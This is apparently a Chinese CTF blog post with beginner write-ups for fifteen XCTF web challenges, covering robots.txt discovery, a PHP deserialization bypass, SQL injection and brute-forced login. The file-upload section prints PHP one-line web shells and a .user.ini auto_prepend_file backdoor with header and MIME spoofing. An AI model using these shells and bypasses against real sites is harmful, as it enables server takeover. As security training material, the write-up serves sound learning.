攻防世界题目练习——Web难度1(一)_robots:61.147.171.105:60848-程序员宅基地

技术标签: web安全  ctf  题目  Web  攻防世界题目练习  攻防世界  

1. Training-WWW-Robots

在这里插入图片描述
robots.txt 文件是一个文本文件,使用任何一个常见的文本编辑器,就可以创建和编辑它。robots.txt 是一个协议,而不是一个命令。 robots.txt 是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt 文件告诉爬虫程序在服务器上什么文件是可以被查看的。

当一个搜索爬虫访问一个站点时,它会首先检查该站点根目录下是否存在 robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索爬虫将能够访问网站上所有没有被口令保护的页面。

打开文件robots.txt,查看文件内容,发现有默认不允许访问的文件fl0g.php。
在这里插入图片描述
再访问文件fl0g.php
http://111.198.29.45:56243/fl0g.php
于是得到flag

2. PHP2

对目标网站进行目录扫描(用dirsearch没扫出来,又用御剑扫描尝试了几次,感觉有时候有的目录没扫描出来,有时候又可以)
在这里插入图片描述
index.php页面与直接访问链接没有变化。

.phps文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到 php 文件的来内容,所以需要用 phps 文件代替。
在这里插入图片描述
查看phps的源码可以看到,对获取的id参数进行url解码后的id内容如果为admin,则可获得flag,并且不允许直接获取的id为admin,但传入在url的参数本身在获取时就会经历一次url解码,因此要对admin进行两次编码。
在这里插入图片描述
将两次url编码后的内容作为id参数上传后
在这里插入图片描述

3. unserialize3

打开题目看到代码如下(忽略url链接上问号之后的内容):
在这里插入图片描述
关键要素是函数 function __wakeup(),结合题目名称unserialize,可以想到php的反序列化,具体关于php的序列化的内容参考该博客->深度剖析PHP序列化和反序列化

__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

实例化xctf类后的对象序列化后的内容为O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;},也就是说xctf类只有1个类属性$flag,为了绕过wakeup函数,将序列化字符串中的属性值个数改为大于实际个数1的数,例如改成2,即可绕过。

修改url如上图,访问url:http://61.147.171.105:60349/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;},即可获得flag。

4. ics-06

拿到题目的时候发现只有报表中心页面可以用,忘了观察url,url上有参数id,通过暴力破解id的值拿到flag。
在这里插入图片描述

5. view_source

题目说让查看源码但不能用右键,印象里f12是可以的,但是电脑按f12一直弹出应用,后来发现要Fn+f12才行。于是查看到源码拿到flag。
在这里插入图片描述
根据WriteUp里的解答可以看到BurpSuite里也可以看到源码,将页面抓包,send repeater,在responds里查看到源码。

6. get_post

进入题目后首先看到题目说让用get方法传递一个名为a值为1的参数。
GET方法传递参数很简单,直接在url后面用?请求,不同参数用&隔开。
在这里插入图片描述
如上图,直接在url后面加上?a=1,即可进入下一个步骤,用POST方式提交一个名为b值为2的变量,也就是提交b=2。

GET方式直接在url上提交参数,POST方式需要在请求体body中提交,题目的页面本来就是GET请求方式,GET方式与POST方式的头部信息略有不同,POST中增加了Content-Type、Content-Length等信息,详见以下博客:
GET和POST的区别以及传参详细解说
HTTP请求报文格式 GET和POST
Get方法和Post方法的区别详解~

但是只知道将方式修改为POST,除此之外还是不知道如何添加Content-Type这些信息,一开始在BurpSuite中的repeater里没有添加这几条信息,尝试send之后response的响应内容出错。查看用户lonely_wei的WriteUp之后,发现可以直接在右边侧栏Inspector里修改请求类型与传递参数,以这种方式添加要传递的参数时左边报文内容上会自动添加Content-Type,再次send就成功得到了带有flag的响应。
在这里插入图片描述
除了在repeater里,在Proxy里也可以用这种方法直接修改截获的报文然后发送。
在这里插入图片描述

7. robots

进入网址什么都没有,直接查看robots.txt
在这里插入图片描述
可以看到有隐藏文件 f1ag_1s_h3re.php ,于是访问,获得flag
在这里插入图片描述
(第一道完全不看WriteUp拿到flag的题呜呜)

8. backup

常见的文件备份后缀有:
.git” 、“.svn”、“ .swp”、“.~”、“.bak”、“.bash_history”、“.bkf

可以直接用御剑扫描php目录,也可以一个后缀一个地尝试,最后发现.bak后缀是可以用的,会弹出一个文件让下载,然后打开文件看到flag。
在这里插入图片描述
在这里插入图片描述

9. cookie

进入网址后,页面显示“你知道什么是cookie吗”,于是用BurpSuite抓包,看到cookie内容如下:
在这里插入图片描述
cookie处显示查看cookie.php文件,于是访问该文件,看到页面显示“查看respons”,于是将访问cookie.php的页面抓包,send repeater,send,查看response,可以在头部看到flag,如下图:
在这里插入图片描述

10. disabled_button

按钮不能按,题目说是前端知识,于是查看源码,查看到有一行是按钮的属性,我们将disabled=""删掉,于是按钮可以按了,按下按钮得到flag。

disabled 属性规定应该禁用的 元素。被禁用的 input 元素是无法使用和无法点击的。
在这里插入图片描述
第二个方法是POST提交auth=flag
具体分析见该博客:XCTF_Web_新手练习区:disabled_button

11. weak_auth

自己最开始就是随便输入了admin和123456,然后去抓包爆破。
一开始以为用户名和密码都要爆破,于是在网上找了很多字典。
发现量实在是太庞大,就随便看了一条爆破的响应报文,发现要求用用户名admin尝试,于是打算重新来,放过了最开始尝试的那条报文,没想到flag就出来了,也是有点运气的。
记住下次不要上来就爆破,先随便输一下用户名密码提交一下看看提示,然后再去爆破。

12. simple_php

php代码如图:
在这里插入图片描述
php中 == 是弱等于,两边的类型不同,则先是将类型转换成相同的,再进行比较。
参考博客:
PHP弱等于(==)绕过和is_number()函数的绕过

is_numeric函数会判断如果是数字和数字字符串则返回 TRUE,且php中弱类型比较时,会使(‘1234a’ == 1234)为真。
参考博客:
simple_php - is_numeric() 绕过与 ==的绕过

本文用a=''获得前半部分的flag。

13. baby_web

一进入网址显示这个页面是1.php,题目提示说初始页面,于是输入index.php,但还是会跳转到1.php,经验不多于是查看WriteUp,发现要访问index.php的时候抓包查看response,如下图:
在这里插入图片描述
可以看到response里有flag,并且是一个重定向的响应报文,重定向到了1.php。

14. inget

在这里插入图片描述
如题,让输入id并绕过,一道sql注入。
尝试直接 id=' ,页面不变,没有报错;
尝试 id=1 and 1=2 --+,页面不变,没有报错;
尝试 id=1 or 1=1 --+,页面不变;
尝试id=1' or 1=1 --+,出现flag。

15. easyupload

将一句话木马改成图片,尝试了黑名单绕过中的大小写绕过、重写绕过、特殊可解析后缀绕过、. htaccess绕过、使用Windows特性绕过、%00截断,都不行,于是查看WriteUp。

官方给出的需要绕过的点有:
(1)检查文件内容是否有php字符串
(2)检查后缀中是否有htaccess或ph
(3)检查文件头部信息
(4)文件MIME类型

针对(1),以前只知道一句话木马<?php @eval($_POST[1]);?>,这次知道了有一种短标签,<?=phpinfo();?>
参考博客:php中的短标签
并通过qiuliangfz的WriteUp知道了eval的作用:
<?=eval($_POST['cmd']);?> //eval(str)函数把str字符串按照php代码来运行

针对(2),查看WriteUp后知道,在网站限制上传php文件时,可以利用.user.ini作为辅助来上传图片木马。参考文章如下:
.user.ini文件构成的PHP后门
它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file
php.ini中有两项
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件
新建一个文件名叫.user.ini 文件内容为:

GIF89a
auto_prepend_file=a.jpg//让同目录下的所有php文件都包含a.jpg里的内容

针对(3),GIF89a 即是图片头文件欺骗,让后台以为这是图片。
针对(4),将.user.ini上传上去,同时用BurpSuite抓包,将Content-Type修改为Content-Type:image/jpg。
新建一个a.txt文件,写入如下内容:

GIF89a
<?=eval($_REQUEST['cmd']);?>//也可以是eval($_POST['cmd']),也可以是上传命令执行代码system('cat /flag')而不是木马
//或者写入:
GIF89a
<?=system('cat /flag');?>

或写入最开始的一句话木马:

GIF89a
<?=eval($_POST[1]);?>

再将后缀名修改为jpg,然后上传,这个文件可以绕过前面的4项检查,但是上传的是jpg文件不会直接被当作php来执行,因此需要前面的.user.ini文件来将这个文件添加到其他的php文件中来执行。

具体操作过程如下:
编写.user.ini文件:
在这里插入图片描述
上传文件并BurpSuie修改请求头中的ContentType:
在这里插入图片描述
编写a.txt并修改后缀为jpg:
在这里插入图片描述
上传a.jpg并查看上传文件所在路径:
在这里插入图片描述
蚁剑成功连接并看到flag文件:
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_48550824/article/details/132477815

智能推荐

JWT(Json Web Token)实现无状态登录_无状态token登录-程序员宅基地

文章浏览阅读685次。1.1.什么是有状态?有状态服务,即服务端需要记录每次会话的客户端信息,从而识别客户端身份,根据用户身份进行请求的处理,典型的设计如tomcat中的session。例如登录:用户登录后,我们把登录者的信息保存在服务端session中,并且给用户一个cookie值,记录对应的session。然后下次请求,用户携带cookie值来,我们就能识别到对应session,从而找到用户的信息。缺点是什么?服务端保存大量数据,增加服务端压力 服务端保存用户状态,无法进行水平扩展 客户端请求依赖服务.._无状态token登录

SDUT OJ逆置正整数-程序员宅基地

文章浏览阅读293次。SDUT OnlineJudge#include<iostream>using namespace std;int main(){int a,b,c,d;cin>>a;b=a%10;c=a/10%10;d=a/100%10;int key[3];key[0]=b;key[1]=c;key[2]=d;for(int i = 0;i<3;i++){ if(key[i]!=0) { cout<<key[i.

年终奖盲区_年终奖盲区表-程序员宅基地

文章浏览阅读2.2k次。年终奖采用的平均每月的收入来评定缴税级数的,速算扣除数也按照月份计算出来,但是最终减去的也是一个月的速算扣除数。为什么这么做呢,这样的收的税更多啊,年终也是一个月的收入,凭什么减去12*速算扣除数了?这个霸道(不要脸)的说法,我们只能合理避免的这些跨级的区域了,那具体是那些区域呢?可以参考下面的表格:年终奖一列标红的一对便是盲区的上下线,发放年终奖的数额一定一定要避免这个区域,不然公司多花了钱..._年终奖盲区表

matlab 提取struct结构体中某个字段所有变量的值_matlab读取struct类型数据中的值-程序员宅基地

文章浏览阅读7.5k次,点赞5次,收藏19次。matlab结构体struct字段变量值提取_matlab读取struct类型数据中的值

Android fragment的用法_android reader fragment-程序员宅基地

文章浏览阅读4.8k次。1,什么情况下使用fragment通常用来作为一个activity的用户界面的一部分例如, 一个新闻应用可以在屏幕左侧使用一个fragment来展示一个文章的列表,然后在屏幕右侧使用另一个fragment来展示一篇文章 – 2个fragment并排显示在相同的一个activity中,并且每一个fragment拥有它自己的一套生命周期回调方法,并且处理它们自己的用户输_android reader fragment

FFT of waveIn audio signals-程序员宅基地

文章浏览阅读2.8k次。FFT of waveIn audio signalsBy Aqiruse An article on using the Fast Fourier Transform on audio signals. IntroductionThe Fast Fourier Transform (FFT) allows users to view the spectrum content of _fft of wavein audio signals

随便推点

Awesome Mac:收集的非常全面好用的Mac应用程序、软件以及工具_awesomemac-程序员宅基地

文章浏览阅读5.9k次。https://jaywcjlove.github.io/awesome-mac/ 这个仓库主要是收集非常好用的Mac应用程序、软件以及工具,主要面向开发者和设计师。有这个想法是因为我最近发了一篇较为火爆的涨粉儿微信公众号文章《工具武装的前端开发工程师》,于是建了这么一个仓库,持续更新作为补充,搜集更多好用的软件工具。请Star、Pull Request或者使劲搓它 issu_awesomemac

java前端技术---jquery基础详解_简介java中jquery技术-程序员宅基地

文章浏览阅读616次。一.jquery简介 jQuery是一个快速的,简洁的javaScript库,使用户能更方便地处理HTML documents、events、实现动画效果,并且方便地为网站提供AJAX交互 jQuery 的功能概括1、html 的元素选取2、html的元素操作3、html dom遍历和修改4、js特效和动画效果5、css操作6、html事件操作7、ajax_简介java中jquery技术

Ant Design Table换滚动条的样式_ant design ::-webkit-scrollbar-corner-程序员宅基地

文章浏览阅读1.6w次,点赞5次,收藏19次。我修改的是表格的固定列滚动而产生的滚动条引用Table的组件的css文件中加入下面的样式:.ant-table-body{ &amp;amp;::-webkit-scrollbar { height: 5px; } &amp;amp;::-webkit-scrollbar-thumb { border-radius: 5px; -webkit-box..._ant design ::-webkit-scrollbar-corner

javaWeb毕设分享 健身俱乐部会员管理系统【源码+论文】-程序员宅基地

文章浏览阅读269次。基于JSP的健身俱乐部会员管理系统项目分享:见文末!

论文开题报告怎么写?_开题报告研究难点-程序员宅基地

文章浏览阅读1.8k次,点赞2次,收藏15次。同学们,是不是又到了一年一度写开题报告的时候呀?是不是还在为不知道论文的开题报告怎么写而苦恼?Take it easy!我带着倾尽我所有开题报告写作经验总结出来的最强保姆级开题报告解说来啦,一定让你脱胎换骨,顺利拿下开题报告这个高塔,你确定还不赶快点赞收藏学起来吗?_开题报告研究难点

原生JS 与 VUE获取父级、子级、兄弟节点的方法 及一些DOM对象的获取_获取子节点的路径 vue-程序员宅基地

文章浏览阅读6k次,点赞4次,收藏17次。原生先获取对象var a = document.getElementById("dom");vue先添加ref <div class="" ref="divBox">获取对象let a = this.$refs.divBox获取父、子、兄弟节点方法var b = a.childNodes; 获取a的全部子节点 var c = a.parentNode; 获取a的父节点var d = a.nextSbiling; 获取a的下一个兄弟节点 var e = a.previ_获取子节点的路径 vue

推荐文章

热门文章

相关标签